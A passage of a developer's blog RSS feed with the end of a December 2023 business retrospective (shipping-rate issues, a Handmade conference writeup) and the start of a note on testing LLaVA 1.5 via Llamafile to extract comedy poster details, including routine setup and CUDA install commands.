&lt;p>After months of back and forth, we narrowed the problem down to ShipStation. They don&amp;rsquo;t show one-day shipping options because they consider one-day and two-day shipping options to be &amp;ldquo;similar,&amp;rdquo; but the two-day options are always cheaper, so they never present the one-day option.&lt;/p>
&lt;p>Yes, you read correctly. ShipStation, a company whose primary job is to sell you postage for shipping packages, doesn&amp;rsquo;t understand why anyone would choose one-day shipping if it&amp;rsquo;s more expensive than two-day shipping.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/12/ship1.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/12/ship1_hu_25c60a2d657d1c8e.webp 300w, https://mtlynch.io/retrospectives/2023/12/ship1_hu_971dde42a6f1c9b5.webp 600w, https://mtlynch.io/retrospectives/2023/12/ship1_hu_86ee769bbc64aad3.webp 800w, https://mtlynch.io/retrospectives/2023/12/ship1.webp 820w'
 src="https://mtlynch.io/retrospectives/2023/12/ship1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/12/ship2.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/12/ship2_hu_65a08386e477e808.webp 300w, https://mtlynch.io/retrospectives/2023/12/ship2.webp 560w'
 src="https://mtlynch.io/retrospectives/2023/12/ship2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>ShipStation can&amp;rsquo;t understand why anyone would choose USPS Priority Mail Express when the non-Express option is cheaper but slower.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I was having so many issues with ShipStation that I decided to switch back to the old stack for presenting shipping options to customers. Now, we just show the customer the shipping options and rates through Shopify and don&amp;rsquo;t even bother querying rates from ShipStation.&lt;/p>
&lt;p>The problem with cutting ShipStation out of the checkout process is that the 3PL is buying postage at the higher ShipStation rate, but Shopify is collecting shipping fees from customers at the lower Shopify rate. So, a customer might only pay $30 for overnight shipping, but the real price of postage is $100 through ShipStation. TinyPilot has to absorb the $70 difference.&lt;/p>
&lt;p>Still, this solution allows TinyPilot to offer the shipping options we want without ShipStation dopily overriding us. And absorbing $70 of extra shipping costs is better than not making the sale at all.&lt;/p>
&lt;h3 id="one-day-shipping-customers-are-4x-more-demanding">One-day shipping customers are 4x more demanding&lt;/h3>
&lt;p>Most of the time, the 3PL ships our orders within one business day. Occasionally, something comes up and it takes two business days, and sometimes (very rarely) three. We advertise on our website up to three days of handling time, but customers seem not to pay attention to that.&lt;/p>
&lt;p>90% of the time, customers who chose ground or two-day shipping don&amp;rsquo;t say anything about a one-day delay in handling.&lt;/p>
&lt;p>The Monday after Black Friday, UPS had a strange issue where they weren&amp;rsquo;t updating tracking information for any of the orders they picked up. The warehouse swore that UPS picked everything up, but UPS tracking showed nothing.&lt;/p>
&lt;p>The UPS tracking bug affected five customers who had requested one-day shipping. Within 24 hours, two of them had emailed us to complain about the delay. So, 40% of one-day shipping customers complained as opposed to about 10% who noticed delays in ground or two-day shipping.&lt;/p>
&lt;p>And I get it. When I order something with one-day shipping, I&amp;rsquo;m eager to get it, and I&amp;rsquo;m annoyed if the merchant sits on it for days.&lt;/p>
&lt;p>These one-day shipping customers are a double-edged sword. If they&amp;rsquo;re willing to pay five times the ground shipping rate to get it fast, they&amp;rsquo;re probably big spenders who will boost TinyPilot&amp;rsquo;s sales. But I&amp;rsquo;m seeing that they&amp;rsquo;re also fairly demanding, and they&amp;rsquo;re going to make things stressful for our support teams because they have urgency expectations that most customers don&amp;rsquo;t have.&lt;/p>
&lt;h2 id="my-first-handmade-conference">My first Handmade conference&lt;/h2>
&lt;p>In November, I attended my first &lt;a href="https://handmadecities.com/seattle/">Handmade conference&lt;/a> in Seattle. It&amp;rsquo;s an indie conference for people who work on low-level software.&lt;/p>
&lt;p>Here are my takeaways from the conference.&lt;/p>
&lt;h3 id="there-are-alternatives-to-the-popular-tech-stacks">There are alternatives to the popular tech stacks&lt;/h3>
&lt;p>David Foster Wallace opened his famous &lt;a href="https://fs.blog/david-foster-wallace-this-is-water/">2005 Kenyon College commencement speech&lt;/a> with a joke about fish:&lt;/p>
&lt;blockquote>
&lt;p>There are these two young fish swimming along, and they happen to meet an older fish swimming the other way, who nods at them and says. &amp;ldquo;Morning, boys. How’s the water?&amp;rdquo; And the two young fish swim on for a bit, and then eventually one of them looks over at the other and goes &amp;ldquo;What the hell is water?&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;p>For me, the web browser is water.&lt;/p>
&lt;p>I&amp;rsquo;m so used to thinking about software as something the user ultimately interacts with through HTML and JavaScript that I almost forget that there are any alternatives. It&amp;rsquo;s been a long time since I considered how weird it is that I design everything around a piece of technology created in the 90s to render static documents.&lt;/p>
&lt;p>But at Handmade, most of the developers I met didn&amp;rsquo;t deal with web browsers at all, and they didn&amp;rsquo;t use any of the technologies that I&amp;rsquo;m used to.&lt;/p>
&lt;p>I met the creator of &lt;a href="https://mobilecodeapp.com/">MobileCode&lt;/a>, an app for writing software on phones and tablets. I asked him what language he used, expecting him maybe to say Flutter or probably React Native. I was gobsmacked when he said &amp;ldquo;C.&amp;rdquo;&lt;/p>
&lt;p>Not only that, but he said that he&amp;rsquo;s had a positive experience doing mobile development in C. He can call native graphics APIs on iOS and Android directly rather than working through many layers of abstraction of a modern framework.&lt;/p>
&lt;h3 id="relentless-indie-ambition">Relentless indie ambition&lt;/h3>
&lt;p>The reason I first heard about Handmade to begin with is that I follow &lt;a href="https://awesomekling.github.io/about/">Andreas Kling&lt;/a>, the creator of SerenityOS. He created the initial OS by himself with no third-party libraries or dependencies, and he presented his project at Handmade in 2021.&lt;/p>
&lt;p>Handmade also attracts talks about &lt;a href="https://ziglang.org/">Zig&lt;/a>, an indie programming language I&amp;rsquo;ve been interested in for a while. Andrew Kelly, the creator of Zig, apeared &lt;a href="https://corecursive.com/067-zig-with-andrew-kelley/">on the CoRecursive podcast in 2021&lt;/a> and talked about how he wants to replace all the C code in the world with Zig.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Adam&lt;/strong>: What does the world look like when you take down C?&lt;/p>
&lt;p>&lt;strong>Andrew&lt;/strong>: Oh, it’s beautiful. It looks mostly the same, except all your apps just work slightly better, and they just crash less often, and they use less memory, and they just go faster&amp;hellip;&lt;/p>
&lt;p>When textbooks try to show how operating systems work or how embedded devices work, it’ll just be assumed that you’re going to use Zig as the example code because that’s what everyone does.&lt;/p>&lt;/blockquote>
&lt;p>I think Andrew&amp;rsquo;s flavor of ambition and enthusiasm for software is so cool and exciting, and that was what I came to Handmade to find.&lt;/p>
&lt;p>Handmade delivered on my expectation of indie ambition. The conference celebrated the practice of reinventing the wheel.&lt;/p>
&lt;p>It&amp;rsquo;s usually a putdown in software to accuse someone of reinventing the wheel, but Handmade embraces it. Why &lt;em>not&lt;/em> reinvent the wheel? Maybe your wheel will be better than the wheel everyone else is using. And just by trying to reinvent the wheel, you&amp;rsquo;ll get a better understanding of how the wheel works.&lt;/p>
&lt;p>Cameron Riekes is an undergrad, and he presented about building a 2D RPG game. But then he &lt;a href="https://www.youtube.com/watch?v=ANJ7qZgKHVU">&amp;ldquo;ended up&amp;rdquo; coding his own 3D game engine from scratch&lt;/a>.&lt;/p>
&lt;p>Yasser Arguelles is in his early twenties and is working on &lt;a href="https://yasserarg.com/tb.html">Tilde&lt;/a>, a from-scratch replacement for LLVM. For context: LLVM is a compiler backend that&amp;rsquo;s been under active development for 20 years. In his presentation, Yasser mentioned that he didn&amp;rsquo;t have a background in compilers, but one of the most popular requests he saw in Handmade discussions was for an alternative to LLVM, so he thought, &amp;ldquo;Sure, I&amp;rsquo;ll do that.&amp;rdquo;&lt;/p>
&lt;p>And I got to meet Andrew Kelly, who was very nice. And the conversation finally inspired me to &lt;a href="https://mtlynch.io/notes/zig-call-c-simple/">try writing some Zig code&lt;/a>.&lt;/p>
&lt;h3 id="extreme-skepticism-of-big-tech">Extreme skepticism of big tech&lt;/h3>
&lt;p>One complaint I had about the conference was that the tone was critical of big tech to a degree that I found irrational.&lt;/p>
&lt;p>The narrative throughout the conference was that big tech is basically poison. Everything they produce is buggy, bloated, unreliable, and overpriced.&lt;/p>
&lt;p>The reason more people aren&amp;rsquo;t aware of big tech&amp;rsquo;s shortcomings, according to speakers, is that big tech controls software conferences. They forbid presenters from speaking honestly about the problems in big tech software. I&amp;rsquo;ve spoken at a few mid-level conferences, and nobody&amp;rsquo;s ever told me that I can&amp;rsquo;t criticize big tech, so this rang false to me.&lt;/p>
&lt;p>I&amp;rsquo;m sympathetic to the anti-big tech viewpoint. I prefer indie tech whenever I can, but I also think that big tech does a lot of things well and does most of the heavy lifting in driving technology forward. I think it&amp;rsquo;s a mistake to simply turn up our noses at it and assume the indie thing is always better than the big tech equivalent.&lt;/p>
&lt;h3 id="other-writeups">Other writeups&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://carlsverre.com/writing/handmade-seattle-2023/">Carl Sverre&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>If you know of other writeups, let me know, and I&amp;rsquo;ll link to them.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="wanderjest">&lt;a href="https://wanderjest.com">WanderJest&lt;/a>&lt;/h3>
&lt;p>WanderJest is a web app I started a few years ago to help people find live comedy near them. I &lt;a href="https://mtlynch.io/retrospectives/2020/04/">shelved it when COVID hit&lt;/a>, but I&amp;rsquo;ve been tinkering with it off and on since then.&lt;/p>
&lt;p>One of the biggest challenges of WanderJest was finding out information about upcoming shows. The canonical information about a comedy show is typically a poster that looks like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/12/luthiers-show.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/12/luthiers-show_hu_d2221c2dc8af5012.jpg 300w, https://mtlynch.io/retrospectives/2023/12/luthiers-show_hu_87b27babea723b27.jpg 600w, https://mtlynch.io/retrospectives/2023/12/luthiers-show_hu_11ca125376f28ab4.jpg 800w, https://mtlynch.io/retrospectives/2023/12/luthiers-show.jpg 1024w'
 src="https://mtlynch.io/retrospectives/2023/12/luthiers-show.jpg" alt="Poster for a local comedy show" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Performers don&amp;rsquo;t want to make a poster and then re-type all the information somewhere else, so I&amp;rsquo;ve been thinking about ways to get the information from the poster &amp;ldquo;for free.&amp;rdquo;&lt;/p>
&lt;p>My first idea was to create a tool that &lt;a href="https://mtlynch.io/retrospectives/2023/06/#poster-generators-in-wanderjest">helps show producers create the posters&lt;/a>. I played around with that for a few days, but the first comedian I pitched it to wasn&amp;rsquo;t interested. I haven&amp;rsquo;t exhausted that idea yet, but I haven&amp;rsquo;t been excited enough to iterate on it.&lt;/p>
&lt;p>But now that AI image recognition is improving, my other idea is to find posters for shows and then scrape the show information using open-source AI tools.&lt;/p>
&lt;p>When I read &lt;a href="https://simonwillison.net/2023/Nov/29/llamafile/">Simon Willison&amp;rsquo;s post&lt;/a> about using Llamafile, I realized how easy it is to experiment with image-aware chatbots now, so I gave the poster problem a shot.&lt;/p>
&lt;p>Unfortunately, LLaVA 1.5 accuracy with images doesn&amp;rsquo;t seem to be high enough to do what I need. When I show it a comedy show poster and ask questions, its answers are only about 70% accurate:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/12/q1-gpu.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/12/q1-gpu_hu_6bac03f134637b30.png 300w, https://mtlynch.io/retrospectives/2023/12/q1-gpu_hu_28d068609b76e35c.png 600w, https://mtlynch.io/retrospectives/2023/12/q1-gpu.png 600w'
 src="https://mtlynch.io/retrospectives/2023/12/q1-gpu.png" alt="Screenshot of llamafile web interface, where LLaVA 1.5 gives semi-accurate answers to my question about the poster. LLaVA identifies one of the names correctly, but it hallucinates variations on two of the others." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>It was easy to get LLaVA up and running using Llamafile, but its accuracy in describing comedy show posters is still weak.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tried blindly fiddling with the settings, but I wasn&amp;rsquo;t able to improve the results.&lt;/p>
&lt;p>Still, I&amp;rsquo;m excited to see progress and competition from open-source solutions in this space. For more details, see:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/">Rough Experiments with Llamafile and LLaVA 1.5&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://tinypilotkvm.com/pro/changes#262">TinyPilot Pro 2.6.2&lt;/a>&lt;/li>
&lt;li>Attended the Handmade Seattle conference&lt;/li>
&lt;li>Resolved a shipping export issue with one of our critical vendors&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>One-day shipping attracts customers willing to spend more, but those customers are also more demanding.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Complete design work for TinyPilot license checking.&lt;/li>
&lt;li>Create a process for spot-checking each manufacturing batch of new devices.&lt;/li>
&lt;li>Handle TinyPilot&amp;rsquo;s end-of-year tax chores.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Rough Experiments with Llamafile and LLaVA 1.5</title><link>https://mtlynch.io/notes/llamafile-lava1.5/</link><pubDate>Sat, 02 Dec 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/llamafile-lava1.5/</guid><description>&lt;p>I read &lt;a href="https://simonwillison.net/2023/Nov/29/llamafile/">Simon Willison&amp;rsquo;s post&lt;/a> about using Llamafile to experiment with open-source chatbots / LLMs. He made it sound so easy, so I decided to try it out.&lt;/p>
&lt;p>One of my longtime hobby projects is &lt;a href="https://wanderjest.com">WanderJest&lt;/a>, a site for finding live comedy. One of the challenges of that site is that the canonical information about an upcoming show is often the poster for it. Here&amp;rsquo;s an example:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show_hu_d2221c2dc8af5012.jpg 300w, https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show_hu_87b27babea723b27.jpg 600w, https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show_hu_11ca125376f28ab4.jpg 800w, https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show.jpg 1024w'
 src="https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve been scraping this information by hand, but that&amp;rsquo;s tedious and time-consuming.&lt;/p></description><content:encoded>&lt;p>I read &lt;a href="https://simonwillison.net/2023/Nov/29/llamafile/">Simon Willison&amp;rsquo;s post&lt;/a> about using Llamafile to experiment with open-source chatbots / LLMs. He made it sound so easy, so I decided to try it out.&lt;/p>
&lt;p>One of my longtime hobby projects is &lt;a href="https://wanderjest.com">WanderJest&lt;/a>, a site for finding live comedy. One of the challenges of that site is that the canonical information about an upcoming show is often the poster for it. Here&amp;rsquo;s an example:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show_hu_d2221c2dc8af5012.jpg 300w, https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show_hu_87b27babea723b27.jpg 600w, https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show_hu_11ca125376f28ab4.jpg 800w, https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show.jpg 1024w'
 src="https://mtlynch.io/notes/llamafile-lava1.5/luthiers-show.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve been scraping this information by hand, but that&amp;rsquo;s tedious and time-consuming.&lt;/p>
&lt;p>Simon mentioned that Llamafile makes it easy to run &lt;a href="https://llava-vl.github.io/">LLaVA 1.5&lt;/a>, which allows you to ask a chatbot questions about an image. If I could get LLaVA to tell me all the information I wanted from a poster, then that could automate away my problem on WanderJest.&lt;/p>
&lt;h2 id="cpu-based-llava-15">CPU-based LLaVA 1.5&lt;/h2>
&lt;p>To start, I tried spinning up a Scaleway PRO2-S VM instance running Debian Bookworm. Any VM will work, but I just chose this because I have infrastructure to spin up Scaleway servers conveniently.&lt;/p>
&lt;p>I SSH&amp;rsquo;ed in to the server with port forwarding enabled so I could access Llamafile&amp;rsquo;s web interface:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh mike@&lt;span style="color:#40ffff">$MY_SCALEWAY_IP&lt;/span> -L 8080:localhost:8080
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Per Simon&amp;rsquo;s instructions, I downloaded the binary for running the server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -LO https://huggingface.co/jartine/llava-v1.5-7B-GGUF/resolve/main/llava-v1.5-7b-q4-server.llamafile &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> chmod &lt;span style="color:#3677a9">755&lt;/span> llava-v1.5-7b-q4-server.llamafile
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then I spun up my server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./llava-v1.5-7b-q4-server.llamafile --nobrowser
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That worked, and I saw the web interface in my browser:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/initial-interface.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/notes/llamafile-lava1.5/initial-interface_hu_44110d81b8977826.png 300w, https://mtlynch.io/notes/llamafile-lava1.5/initial-interface_hu_3b39ed11757da884.png 600w, https://mtlynch.io/notes/llamafile-lava1.5/initial-interface.png 600w'
 src="https://mtlynch.io/notes/llamafile-lava1.5/initial-interface.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I tried uploading the show poster, and nothing happened. It turned out that I had to upload the poster &lt;em>and&lt;/em> ask it a question.&lt;/p>













 

 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/q1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/notes/llamafile-lava1.5/q1_hu_28ecc4b39e9e26f6.png 300w, https://mtlynch.io/notes/llamafile-lava1.5/q1_hu_6c194bb1767645ad.png 600w, https://mtlynch.io/notes/llamafile-lava1.5/q1.png 600w'
 src="https://mtlynch.io/notes/llamafile-lava1.5/q1.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>So, a bit of a rough start. It gets all three names incorrect, hallucinating variations on the actual names.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>User&lt;/strong>: Who are the performers listed on this poster?&lt;/p>
&lt;p>&lt;strong>Llama&lt;/strong>: The performers listed on this poster are Ayeshah Mae, Jennifer Myskowski-Szynski, and Ayisha Mae.&lt;/p>&lt;/blockquote>
&lt;p>It took about a minute to produce this answer. Stats were listed as:&lt;/p>
&lt;blockquote>
&lt;p>130ms per token, 7.67 tokens per second&lt;/p>&lt;/blockquote>
&lt;p>I tried another question:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>User&lt;/strong>: Where will this show take place?&lt;/p>
&lt;p>&lt;strong>Llama&lt;/strong>: The comedy showcase will take place at Luthier&amp;rsquo;s Co-op in Rathmell, Pennsylvania.&lt;/p>&lt;/blockquote>
&lt;p>Again, it&amp;rsquo;s getting something, but it&amp;rsquo;s only about 70% accurate.&lt;/p>
&lt;p>I was also curious if I could get the information in JSON format, but I had a hard time convincing LLaVA to speak JSON. I&amp;rsquo;d say &amp;ldquo;Respond in JSON to the following question,&amp;rdquo; and it would ignore the instruction and respond in regular English.&lt;/p>
&lt;p>In the &lt;a href="https://arxiv.org/abs/2310.03744">research paper&lt;/a>, LLaVA&amp;rsquo;s authors showed an example of convincing LLaVA to respond in JSON:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/json-example.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/notes/llamafile-lava1.5/json-example_hu_a5990c4c9f2ce10d.png 300w, https://mtlynch.io/notes/llamafile-lava1.5/json-example.png 395w'
 src="https://mtlynch.io/notes/llamafile-lava1.5/json-example.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Example of asking LLaVA to respond in JSON, from the &lt;a href="https://arxiv.org/abs/2310.03744">research paper&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tried repeating the format from the paper, and it just gave back nothing:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>User&lt;/strong>: Please read the text in this image and return the information in the following JSON format (note xxx is placeholder, if the information is not available in the image, put &amp;ldquo;N/A&amp;rdquo; instead).
{&amp;ldquo;title&amp;rdquo;: xxx, &amp;ldquo;date&amp;rdquo;: xxx, &amp;ldquo;time&amp;rdquo;: xxx, &amp;ldquo;performers&amp;rdquo;: xxx, &amp;ldquo;hosts&amp;rdquo;: xxx, &amp;ldquo;location&amp;rdquo;: { &amp;ldquo;address&amp;rdquo;: xxx, &amp;ldquo;city&amp;rdquo;: xxx, &amp;ldquo;state&amp;rdquo;: xxx, &amp;ldquo;zipCode&amp;rdquo;: xxx}}&lt;/p>&lt;/blockquote>
&lt;p>I could tell from the server logs that it finished processing the request, but nothing came back.&lt;/p>
&lt;p>I tried again, and it successfully generated JSON, though it still hallucinated a lot of the information:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>User&lt;/strong>: Please read the text in this image and return the information in the following JSON format (note xxx is placeholder, if the information is not available in the image, put &amp;ldquo;N/A&amp;rdquo; instead).
{&amp;ldquo;title&amp;rdquo;: xxx, &amp;ldquo;date&amp;rdquo;: xxx, &amp;ldquo;time&amp;rdquo;: xxx, &amp;ldquo;performers&amp;rdquo;: xxx, &amp;ldquo;hosts&amp;rdquo;: xxx, &amp;ldquo;location&amp;rdquo;: { &amp;ldquo;address&amp;rdquo;: xxx, &amp;ldquo;city&amp;rdquo;: xxx, &amp;ldquo;state&amp;rdquo;: xxx, &amp;ldquo;zipCode&amp;rdquo;: xxx}}&lt;/p>
&lt;p>&lt;strong>Llama&lt;/strong>: {&amp;ldquo;title&amp;rdquo;: &amp;ldquo;Luther&amp;rsquo;s Coop Comedy Showcase&amp;rdquo;, &amp;ldquo;date&amp;rdquo;: &amp;ldquo;December 2nd&amp;rdquo;, &amp;ldquo;time&amp;rdquo;: &amp;ldquo;7:00 PM - 9:30 PM&amp;rdquo;, &amp;ldquo;performers&amp;rdquo;: [&amp;ldquo;Ayisha M. Quinn&amp;rdquo;, &amp;ldquo;Jennifer Myskowski-Szczykowski&amp;rdquo;], &amp;ldquo;hosts&amp;rdquo;: [&amp;ldquo;Molly Hyne &amp;amp; Matt Woodland&amp;rdquo;], &amp;ldquo;location&amp;rdquo;: { &amp;ldquo;address&amp;rdquo;: &amp;ldquo;109 Court St, Framingham, MA&amp;rdquo;, &amp;ldquo;city&amp;rdquo;: &amp;ldquo;Framingham&amp;rdquo;, &amp;ldquo;state&amp;rdquo;: &amp;ldquo;MA&amp;rdquo;, &amp;ldquo;zipCode&amp;rdquo;: &amp;ldquo;01702&amp;rdquo;}}&lt;/p>&lt;/blockquote>
&lt;p>It got a few things right:&lt;/p>
&lt;ul>
&lt;li>It correctly scraped the name &amp;ldquo;Matt Woodland&amp;rdquo;&lt;/li>
&lt;li>It correctly identified the date as December 2nd&lt;/li>
&lt;li>It correctly identified the state as MA&lt;/li>
&lt;/ul>
&lt;p>But everything else was minorly to majorly wrong. Interestingly 01702 is a Framingham, MA zip code, so it must have pulled that information from elsewhere because it wasn&amp;rsquo;t on the poster. But that&amp;rsquo;s because the show isn&amp;rsquo;t in Framingham.&lt;/p>
&lt;h2 id="unsuccessfully-using-cuda-for-gpu-based-llava-15">Unsuccessfully using CUDA for GPU-based LLaVA 1.5&lt;/h2>
&lt;p>I don&amp;rsquo;t know anything about LLM parameters, but I wanted to try adjusting some of the settings to see if that resulted in better output. The problem was that with CPU-based processing, each question took about a minute to answer, so it was too slow to make experimenting interesting.&lt;/p>
&lt;p>I decided to spin up a Scaleway GPU-3070-S instance. That has an NVIDIA 3070 GPU with 8 GB of GPU VRAM, so I figured it should be much faster than CPU-based processing I was doing.&lt;/p>
&lt;p>To make Llama file use the GPU, I needed to install CUDA on Linux, which turned out to be surprisingly hard. NVIDIA has &lt;a href="https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html">official instructions&lt;/a>, but they&amp;rsquo;re extremely convoluted.&lt;/p>
&lt;p>After several false starts, I tweaked NVIDIA&amp;rsquo;s instructions to the following, which installed CUDA on Scaleway&amp;rsquo;s Ubuntu 22.04 GPU-optimized OS:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt-get install linux-headers-&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>uname -r&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-key del 7fa2af80 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;deb [signed-by=/usr/share/keyrings/cudatools.gpg] https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/ /&amp;#34;&lt;/span> | sudo tee /etc/apt/sources.list.d/cuda-ubuntu2204-x86_64.list &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-ubuntu2204.pin &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo mv cuda-ubuntu2204.pin /etc/apt/preferences.d/cuda-repository-pin-600 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get install -y cuda-toolkit
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then, again, I downloaded Llamafile:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -LO https://huggingface.co/jartine/llava-v1.5-7B-GGUF/resolve/main/llava-v1.5-7b-q4-server.llamafile &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> chmod &lt;span style="color:#3677a9">755&lt;/span> llava-v1.5-7b-q4-server.llamafile
